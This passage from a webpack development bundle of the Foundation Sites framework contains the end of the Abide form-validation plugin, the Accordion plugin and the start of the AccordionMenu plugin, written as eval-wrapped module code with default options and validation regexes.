}\n\n    /**\n     * Destroys an instance of Abide.\n     * Removes error styles and classes from elements, without resetting their values.\
525n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      var _this = this;\n      this.$element.off('.abide').find('[data-abide-error]').css('display', 'none');\n      this.$inputs.off('.abide').each(function () {\n        _this.removeErrorClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n      });\n      this.$submits.off('.abide');\n    }\n  }]);\n  return Abide;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\n/**\n * Default settings for plugin\n */\nAbide.defaults = {\n  /**\n   * The default event to validate inputs. Checkboxes and radios validate immediately.\n   * Remove or change this value for manual validation.\n   * @option\n   * @type {?string}\n   * @default 'fieldChange'\n   */\n  validateOn: 'fieldChange',\n  /**\n   * Class to be applied to input labels on failed validation.\n   * @option\n   * @type {string}\n   * @default 'is-invalid-label'\n   */\n  labelErrorClass: 'is-invalid-label',\n  /**\n   * Class to be applied to inputs on failed validation.\n   * @option\n   * @type {string}\n   * @default 'is-invalid-input'\n   */\n  inputErrorClass: 'is-invalid-input',\n  /**\n   * Class selector to use to target Form Errors for show/hide.\n   * @option\n   * @type {string}\n   * @default '.form-error'\n   */\n  formErrorSelector: '.form-error',\n  /**\n   * Class added to Form Errors on failed validation.\n   * @option\n   * @type {string}\n   * @default 'is-visible'\n   */\n  formErrorClass: 'is-visible',\n  /**\n   * If true, automatically insert when possible:\n   * - `[aria-describedby]` on fields\n   * - `[role=alert]` on form errors and `[for]` on form error labels\n   * - `[aria-live]` on global errors `[data-abide-error]` (see option `a11yErrorLevel`).\n   * @option\n   * @type {boolean}\n   * @default true\n   */\n  a11yAttributes: true,\n  /**\n   * [aria-live] attribute value to be applied on global errors `[data-abide-error]`.\n   * Options are: 'assertive', 'polite' and 'off'/null\n   * @option\n   * @see https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Live_Regions\n   * @type {string}\n   * @default 'assertive'\n   */\n  a11yErrorLevel: 'assertive',\n  /**\n   * Set to true to validate text inputs on any value change.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  liveValidate: false,\n  /**\n   * Set to true to validate inputs on blur.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  validateOnBlur: false,\n  patterns: {\n    alph
525a: /^[a-zA-Z]+$/,\n    // eslint-disable-next-line camelcase\n    alpha_numeric: /^[a-zA-Z0-9]+$/,\n    integer: /^[-+]?\\d+$/,\n    number: /^[-+]?\\d*(?:[\\.\\,]\\d+)?$/,\n    // amex, visa, diners\n    card: /^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|(?:222[1-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)[0-9]{12}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\\d{3})\\d{11})$/,\n    cvv: /^([0-9]){3,4}$/,\n    // http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#valid-e-mail-address\n    email: /^[a-zA-Z0-9.!#$%&'*+\\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+$/,\n    // From CommonRegexJS (@talyssonoc)\n    // https://github.com/talyssonoc/CommonRegexJS/blob/e2901b9f57222bc14069dc8f0598d5f412555411/lib/commonregex.js#L76\n    // For more restrictive URL Regexs, see https://mathiasbynens.be/demo/url-regex.\n    url: /^((?:(https?|ftps?|file|ssh|sftp):\\/\\/|www\\d{0,3}[.]|[a-z0-9.\\-]+[.][a-z]{2,4}\\/)(?:[^\\s()<>]+|\\((?:[^\\s()<>]+|(?:\\([^\\s()<>]+\\)))*\\))+(?:\\((?:[^\\s()<>]+|(?:\\([^\\s()<>]+\\)))*\\)|[^\\s`!()\\[\\]{};:\\'\".,<>?\\xab\\xbb\\u201c\\u201d\\u2018\\u2019]))$/,\n    // abc.de\n    domain: /^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,8}$/,\n    datetime: /^([0-2][0-9]{3})\\-([0-1][0-9])\\-([0-3][0-9])T([0-5][0-9])\\:([0-5][0-9])\\:([0-5][0-9])(Z|([\\-\\+]([0-1][0-9])\\:00))$/,\n    // YYYY-MM-DD\n    date: /(?:19|20)[0-9]{2}-(?:(?:0[1-9]|1[0-2])-(?:0[1-9]|1[0-9]|2[0-9])|(?:(?!02)(?:0[1-9]|1[0-2])-(?:30))|(?:(?:0[13578]|1[02])-31))$/,\n    // HH:MM:SS\n    time: /^(0[0-9]|1[0-9]|2[0-3])(:[0-5][0-9]){2}$/,\n    dateISO: /^\\d{4}[\\/\\-]\\d{1,2}[\\/\\-]\\d{1,2}$/,\n    // MM/DD/YYYY\n    // eslint-disable-next-line camelcase\n    month_day_year: /^(0[1-9]|1[012])[- \\/.](0[1-9]|[12][0-9]|3[01])[- \\/.]\\d{4}$/,\n    // DD/MM/YYYY\n    // eslint-disable-next-line camelcase\n    day_month_year: /^(0[1-9]|[12][0-9]|3[01])[- \\/.](0[1-9]|1[012])[- \\/.]\\d{4}$/,\n    // #FFF or #FFFFFF\n    color: /^#?([a-fA-F0-9]{6}|[a-fA-F0-9]{3})$/,\n    // Domain || URL\n    website: {\n      test: function test(text) {\n        return Abide.defaults.patterns.domain.test(text) || Abide.defaults.patterns.url.test(text);\n      }\n    }\n  },\n  /**\n   * Optional validation functions to be used. `equalTo` being the only default included function.\n   * Functions should return only a boolean if the input is valid or not. Functions are given the following arguments:\n   * el : The jQuery element to validate.\n   * @option\n   */\n  validators: {\n    equalTo: function equalTo(el) {\n      return jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(el.attr('data-equalto'))).val() === el.val();\n    }\n  }\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.abide.js?")},"./js/foundation.accordion.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Accordion: function() { return /* binding */ Accordion; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n/**\n * Accordion module.\n * @module foundation.accordion\n * @requires foundation.util.keyboard\n */\nvar Accordion = /*#__PURE__*/function (_Plugin) {\n  _inherits(Accordion, _Plugin);\n  var _super = _createSuper(Accordion);\n  function Accordion() {\n    _classCallCheck(this, Accordion);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Accordion, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of an accordion.\n     * @class\n     * @name Accordion\n     * @fires Accordion#init\n     * @param {jQuery} element - jQuery object to make into an accordion.\n     * @param {Object} options - a plain object with settings to override the default options.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, Accordion.defaults, this.$element.data(), options);\n      this.className = 'Accordion'; // ie9 back compat\n      this._init();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.register('Accordion', {\n        'ENTER': 'toggle',\n        'SPACE': 'toggle',\n        'ARROW_DOWN': 'next',\n        'ARROW_UP': 'previous',\n        'HOME': 'first',\n        'END': 'last'\n      });\n    }\n\n    /**\n     * Initializes the accordion by animating the preset active pane(s).\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      var _this2 = this;\n      this._isInitializing = true;\n      this.$tabs = this.$element.children('[data-accordion-item]');\n      this.$tabs.each(function (idx, el) {\n        var $el = jquery__WEBPACK_IMPORTED_MODULE_0___default()(el),\n          $content = $el.children('[data-tab-content]'),\n          id = $content[0].id || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, 'accordion'),\n          linkId = el.id ? \"\".concat(el.id, \"-label\") : \"\".concat(id, \"-label\");\n        $el.find('a:first').attr({\n          'aria-controls': id,\n          'id': linkId,\n          'aria-expanded': false\n        });\n        $content.attr({\n          'role': 'region',\n          'aria-labelledby': linkId,\n          'aria-hidden': true,\n          'id': id\n        });\n      });\n      var $initActive = this.$element.find('.is-active').children('[data-tab-content]');\n      if ($initActive.length) {\n        // Save up the initial hash to return to it later when going back in history\n        this._initialAnchor = $initActive.prev('a').attr('href');\n        this._openSingleTab($initActive);\n      }\n      this._checkDeepLink = function () {\n        var anchor = window.location.hash;\n        if (!anchor.length) {\n          // If we are still initializing and there is no anchor, then there is nothing to do\n          if (_this2._isInitializing) return;\n          // Otherwise, move to the initial anchor\n          if (_this2._initialAnchor) anchor = _this2._initialAnchor;\n        }\n        var $anchor = anchor && jquery__WEBPACK_IMPORTED_MODULE_0___default()(anchor);\n        var $link = anchor && _this2.$element.find(\"[href$=\\\"\".concat(anchor, \"\\\"]\"));
525\n        // Whether the anchor element that has been found is part of this element\n        var isOwnAnchor = !!($anchor.length && $link.length);\n        if (isOwnAnchor) {\n          // If there is an anchor for the hash, open it (if not already active)\n          if ($anchor && $link && $link.length) {\n            if (!$link.parent('[data-accordion-item]').hasClass('is-active')) {\n              _this2._openSingleTab($anchor);\n            }\n          }\n          // Otherwise, close everything\n          else {\n            _this2._closeAllTabs();\n          }\n\n          // Roll up a little to show the titles\n          if (_this2.options.deepLinkSmudge) {\n            (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.onLoad)(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n              var offset = _this2.$element.offset();\n              jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').animate({\n                scrollTop: offset.top - _this2.options.deepLinkSmudgeOffset\n              }, _this2.options.deepLinkSmudgeDelay);\n            });\n          }\n\n          /**\n           * Fires when the plugin has deeplinked at pageload\n           * @event Accordion#deeplink\n           */\n          _this2.$element.trigger('deeplink.zf.accordion', [$link, $anchor]);\n        }\n      };\n\n      //use browser to open a tab, if it exists in this tabset\n      if (this.options.deepLink) {\n        this._checkDeepLink();\n      }\n      this._events();\n      this._isInitializing = false;\n    }\n\n    /**\n     * Adds event handlers for items within the accordion.\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this = this;\n      this.$tabs.each(function () {\n        var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n        var $tabContent = $elem.children('[data-tab-content]');\n        if ($tabContent.length) {\n          $elem.children('a').off('click.zf.accordion keydown.zf.accordion').on('click.zf.accordion', function (e) {\n            e.preventDefault();\n            _this.toggle($tabContent);\n          }).on('keydown.zf.accordion', function (e) {\n            _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__.Keyboard.handleKey(e, 'Accordion', {\n              toggle: function toggle() {\n                _this.toggle($tabContent);\n              },\n              next: function next() {\n                var $a = $elem.next().find('a').focus();\n                if (!_this.options.multiExpand) {\n                  $a.trigger('click.zf.accordion');\n                }\n              },\n              previous: function previous() {\n                var $a = $elem.prev().find('a').focus();\n                if (!_this.options.multiExpand) {\n                  $a.trigger('click.zf.accordion');\n                }\n              },\n              first: function first() {\n                var $a = _this.$tabs.first().find('.accordion-title').focus();\n                if (!_this.options.multiExpand) {\n                  $a.trigger('click.zf.accordion');\n                }\n              },\n              last: function last() {\n                var $a = _this.$tabs.last().find('.accordion-title').focus();\n                if (!_this.options.multiExpand) {\n                  $a.trigger('click.zf.accordion');\n                }\n              },\n              handled: function handled() {\n                e.preventDefault();\n              }\n            });\n          });\n        }\n      });\n      if (this.options.deepLink) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('hashchange', this._checkDeepLink);\n      }\n    }\n\n    /**\n     * Toggles the selected content pane's open/close state.\n     * @param {jQuery} $target - jQuery object of the pane to toggle (`.accordion-content`).\n     * @function\n     */\n  }, {\n    key: \"toggle\",\n    value: function toggle($target) {\n      if ($target.closest('[data-accordion]').is('[disabled]')) {\n        console.info('Cannot toggle an accordion that is disabled.');\n        return;\n      }\n      if ($target.parent().hasClass('is-active')) {\n        this.up($target);\n      } else {\n        this.down($target);\n      }\n      //either replace or update browser history\n      if (this.options.deepLink) {\
525n        var anchor = $target.prev('a').attr('href');\n        if (this.options.updateHistory) {\n          history.pushState({}, '', anchor);\n        } else {\n          history.replaceState({}, '', anchor);\n        }\n      }\n    }\n\n    /**\n     * Opens the accordion tab defined by `$target`.\n     * @param {jQuery} $target - Accordion pane to open (`.accordion-content`).\n     * @fires Accordion#down\n     * @function\n     */\n  }, {\n    key: \"down\",\n    value: function down($target) {\n      if ($target.closest('[data-accordion]').is('[disabled]')) {\n        console.info('Cannot call down on an accordion that is disabled.');\n        return;\n      }\n      if (this.options.multiExpand) this._openTab($target);else this._openSingleTab($target);\n    }\n\n    /**\n     * Closes the tab defined by `$target`.\n     * It may be ignored if the Accordion options don't allow it.\n     *\n     * @param {jQuery} $target - Accordion tab to close (`.accordion-content`).\n     * @fires Accordion#up\n     * @function\n     */\n  }, {\n    key: \"up\",\n    value: function up($target) {\n      if (this.$element.is('[disabled]')) {\n        console.info('Cannot call up on an accordion that is disabled.');\n        return;\n      }\n\n      // Don't close the item if it is already closed\n      var $targetItem = $target.parent();\n      if (!$targetItem.hasClass('is-active')) return;\n\n      // Don't close the item if there is no other active item (unless with `allowAllClosed`)\n      var $othersItems = $targetItem.siblings();\n      if (!this.options.allowAllClosed && !$othersItems.hasClass('is-active')) return;\n      this._closeTab($target);\n    }\n\n    /**\n     * Make the tab defined by `$target` the only opened tab, closing all others tabs.\n     * @param {jQuery} $target - Accordion tab to open (`.accordion-content`).\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_openSingleTab\",\n    value: function _openSingleTab($target) {\n      // Close all the others active tabs.\n      var $activeContents = this.$element.children('.is-active').children('[data-tab-content]');\n      if ($activeContents.length) {\n        this._closeTab($activeContents.not($target));\n      }\n\n      // Then open the target.\n      this._openTab($target);\n    }\n\n    /**\n     * Opens the tab defined by `$target`.\n     * @param {jQuery} $target - Accordion tab to open (`.accordion-content`).\n     * @fires Accordion#down\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_openTab\",\n    value: function _openTab($target) {\n      var _this3 = this;\n      var $targetItem = $target.parent();\n      var targetContentId = $target.attr('aria-labelledby');\n      $target.attr('aria-hidden', false);\n      $targetItem.addClass('is-active');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(targetContentId)).attr({\n        'aria-expanded': true\n      });\n      $target.finish().slideDown(this.options.slideSpeed, function () {\n        /**\n         * Fires when the tab is done opening.\n         * @event Accordion#down\n         */\n        _this3.$element.trigger('down.zf.accordion', [$target]);\n      });\n    }\n\n    /**\n     * Closes the tab defined by `$target`.\n     * @param {jQuery} $target - Accordion tab to close (`.accordion-content`).\n     * @fires Accordion#up\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_closeTab\",\n    value: function _closeTab($target) {\n      var _this4 = this;\n      var $targetItem = $target.parent();\n      var targetContentId = $target.attr('aria-labelledby');\n      $target.attr('aria-hidden', true);\n      $targetItem.removeClass('is-active');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(targetContentId)).attr({\n        'aria-expanded': false\n      });\n      $target.finish().slideUp(this.options.slideSpeed, function () {\n        /**\n         * Fires when the tab is done collapsing up.\n         * @event Accordion#up\n         */\n        _this4.$element.trigger('up.zf.accordion', [$target]);\n      });\n    }\n\n    /**\n     * Closes all active tabs\n     * @fires Accordion#up\n     * @function\n     * @private\n     */\n  }, {\n    key: \"_closeAllTabs\",\n    value: function _closeAllTabs() {\n      var $activeTabs = this.$element.children('.is-active').children('[data-tab-content]');\n      if ($activeTabs.length) {\n        this._closeTab($activeTabs);\n      }\n    }\n\n    /**\n     * Destroys an instance of an accordion.\n     * @fires Accordion#destroyed\n     * @function\n     */\n  }, {\n    key: \"_destroy\",\n    value: function _destroy() {\n      this.$element.find('[data-tab-content]').stop(true).slide
525Up(0).css('display', '');\n      this.$element.find('a').off('.zf.accordion');\n      if (this.options.deepLink) {\n        jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('hashchange', this._checkDeepLink);\n      }\n    }\n  }]);\n  return Accordion;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__.Plugin);\nAccordion.defaults = {\n  /**\n   * Amount of time to animate the opening of an accordion pane.\n   * @option\n   * @type {number}\n   * @default 250\n   */\n  slideSpeed: 250,\n  /**\n   * Allow the accordion to have multiple open panes.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  multiExpand: false,\n  /**\n   * Allow the accordion to close all panes.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  allowAllClosed: false,\n  /**\n   * Link the location hash to the open pane.\n   * Set the location hash when the opened pane changes, and open and scroll to the corresponding pane when the location changes.\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  deepLink: false,\n  /**\n   * If `deepLink` is enabled, adjust the deep link scroll to make sure the top of the accordion panel is visible\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  deepLinkSmudge: false,\n  /**\n   * If `deepLinkSmudge` is enabled, animation time (ms) for the deep link adjustment\n   * @option\n   * @type {number}\n   * @default 300\n   */\n  deepLinkSmudgeDelay: 300,\n  /**\n   * If `deepLinkSmudge` is enabled, the offset for scrollToTtop to prevent overlap by a sticky element at the top of the page\n   * @option\n   * @type {number}\n   * @default 0\n   */\n  deepLinkSmudgeOffset: 0,\n  /**\n   * If `deepLink` is enabled, update the browser history with the open accordion\n   * @option\n   * @type {boolean}\n   * @default false\n   */\n  updateHistory: false\n};\n\n\n//# sourceURL=webpack://foundation-sites/./js/foundation.accordion.js?")},"./js/foundation.accordionMenu.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   AccordionMenu: function() { return /* binding */ AccordionMenu; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * AccordionMenu module.\n * @module foundation.accordionMenu\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n */\nvar AccordionMenu = /*#__PURE__*/function (_Plugin) {\n  _inherits(AccordionMenu, _Plugin);\n  var _super = _createSuper(AccordionMenu);\n  function AccordionMenu() {\n    _classCallCheck(this, AccordionMenu);\n    return _super.apply(this, arguments);\n  }\n  _createClass(AccordionMenu, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of an accordion menu.\n     * @class\n     * @name AccordionMenu\n     * @fires AccordionMenu#init\n     * @param {jQuery} element - jQuery object to make into an accordion menu.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element, options) {\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend({}, AccordionMenu.defaults, this.$element.data(), options);\n      this.className = 'AccordionMenu'; // ie9 back compat\n\n      this._init();\n      _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__.Keyboard.register('AccordionMenu', {\n        'ENTER': 'toggle',\n        'SPACE': 'toggle',\n        'ARROW_RIGHT': 'open',\n        'ARROW_UP': 'up',\n        'ARROW_DOWN': 'down',\n        'ARROW_LEFT': 'close',\n        'ESCAPE': 'closeAll'\n      });\n    }\n\n    /**\n     * Initializes the accordion menu by hiding all nested menus.\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__.Nest.Feather(this.$element, 'accordion');\n      var _this = this;\n      this.$element.find('[data-submenu]').not('.is-active').slideUp(0); //.find('a').css('padding-left', '1rem');\n      this.$element.attr({\n        'aria-multiselectable': this.options.multiOpe
525n\n      });\n      this.$menuLinks = this.$element.find('.is-accordion-submenu-parent');\n      this.$menuLinks.each(function () {\n        var linkId = this.id || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.GetYoDigits)(6, 'acc-menu-link'),\n          $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n          $sub = $elem.children('[data-submenu]'),\n          subId = $sub[0].id || (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__.GetYoDigits)(6, 'acc-menu'),\n          isActive = $sub.hasClass('is-active');\n        if (_this.options.parentLink) {\n          var $anchor = $elem.children('a');\n          $anchor.clone().prependTo($sub).wrap('<li data-is-parent-link class=\"is-submenu-parent-item is-submenu-item is-accordion-submenu-item\"></li>');\n        }\n        if (_this.options.submenuToggle) {\n          $elem.addClass('has-submenu-toggle');\n          $elem.children('a').after('<button id=\"' + linkId + '\" class=\"submenu-toggle\" aria-controls=\"' + subId + '\" aria-expanded=\"' + isActive + '\" title=\"' + _this.options.submenuToggleText + '\"><span class=\"submenu-toggle-text\">' + _this.options.submenuToggleText + '</span></button>');\n        } else {\n          $elem.attr({\n            'aria-controls': subId,\n            'aria-expanded': isActive,\n            'id': linkId\n          });\n        }\n        $sub.attr({\n          'aria-labelledby': linkId,\n          'aria-hidden': !isActive,\n          'role': 'group',\n          'id': subId\n        });\n      });\n      var initPanes = this.$element.find('.is-active');\n      if (initPanes.length) {\n        initPanes.each(function () {\n          _this.down(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n        });\n      }\n      this._events();\n    }\n\n    /**\n     * Adds event handlers for items within the menu.\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this = this;\n      this.$element.find('li').each(function () {\n        var $submenu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('[data-submenu]');\n        if ($submenu.length) {\n          if (_this.options.submenuToggle) {\n            